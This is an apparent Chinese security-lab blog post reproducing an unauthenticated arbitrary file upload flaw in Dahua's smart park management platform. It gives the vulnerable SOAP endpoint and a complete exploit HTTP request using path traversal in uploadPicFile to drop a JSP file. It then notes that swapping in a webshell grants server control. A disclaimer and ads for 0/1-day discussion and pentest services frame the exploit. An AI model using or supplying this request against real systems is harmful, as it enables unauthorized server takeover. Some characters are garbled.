0x01 閱讀須知
凱撒安全實(shí)驗(yàn)室的技術(shù)文章僅供參考，此文所提供的信息只為網(wǎng)絡(luò)安全人員對(duì)自己所負(fù)責(zé)的網(wǎng)站、服務(wù)器等（包括但不限于）進(jìn)行檢測(cè)或維護(hù)參考，未經(jīng)授權(quán)請(qǐng)勿利用文章中的技術(shù)資料對(duì)任何計(jì)算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失，均由使用者本人負(fù)責(zé)。本文所提供的工具僅用于學(xué)習(xí)，禁止用于其他?。。?/span>
0x02 漏洞原理
大華智慧園區(qū)綜合管理平臺(tái)是由大華技術(shù)股份有限公司（Dahua Technology）開(kāi)發(fā)的一款綜合管理解決方案。該平臺(tái)旨在幫助園區(qū)管理者提高管理效率、提升安全水平、優(yōu)化資源利用，并實(shí)現(xiàn)智能化的園區(qū)運(yùn)營(yíng)。大華智慧園區(qū)綜合管理平臺(tái)采用模塊化設(shè)計(jì)和開(kāi)放式架構(gòu)，可根據(jù)不同園區(qū)的需求進(jìn)行定制和擴(kuò)展。同時(shí)，它還支持云端部署和移動(dòng)端訪問(wèn)，方便管理者隨時(shí)隨地監(jiān)控園區(qū)運(yùn)營(yíng)情況。大華智慧園區(qū)綜合管理平臺(tái)存在前臺(tái)任意文件上傳漏洞。本文將復(fù)現(xiàn)該漏洞的利用方法。
0x03 漏洞利用
影響版本：
大華智慧園區(qū)綜合管理平臺(tái)
poc:
漏洞利用點(diǎn)為：
/emap/webservice/gis/soap/poi接口，當(dāng)訪問(wèn)接口時(shí)出現(xiàn)如下響應(yīng)體時(shí)，基本可認(rèn)定該漏洞存在。
exp：
POST /emap/webservice/gis/soap/poi HTTP/1.1Cookie: JSESSIONID=5C1C93DE5EC7F18FBD493CEFB322B71E; JSESSIONID=423EE6DD6937C1E0568CEF2FAB6E9B01Cache-Control: max-age=0Sec-Ch-Ua: 'Google Chrome';v='113', 'Chromium';v='113', 'Not-A.Brand';v='24'Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: 'macOS'Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeSOAPAction: Content-Type: text/xml;charset=UTF-8Host: xxxxx:xxxxContent-Length: 3117
<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:res='http://response.webservice.poi.mapbiz.emap.dahuatech.com/'> <soapenv:Header/> <soapenv:Body> <res:uploadPicFile> <arg0>/../../kaisec.jsp</arg0> <arg1>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(webshell)</arg1> </res:uploadPicFile> </soapenv:Body></soapenv:Envelope>打入exp
訪問(wèn)/url/kaisa.jsp：
同理 將poyload換成webshell馬 可獲取服務(wù)器權(quán)限：
關(guān)注公眾號(hào)帶你了解更多0/1day漏洞
零日/一日 漏洞探討加 Seven_-0928
本實(shí)驗(yàn)室接受正規(guī)站點(diǎn)的授權(quán)滲透測(cè)試服務(wù)。如你的公司業(yè)務(wù)有Web滲透測(cè)試，高級(jí)滲透測(cè)試，紅藍(lán)對(duì)抗，黑客溯源，Java代碼審計(jì)等需求可聯(lián)系以下微信進(jìn)行商務(wù)洽談：Xud330327
聯(lián)系客服
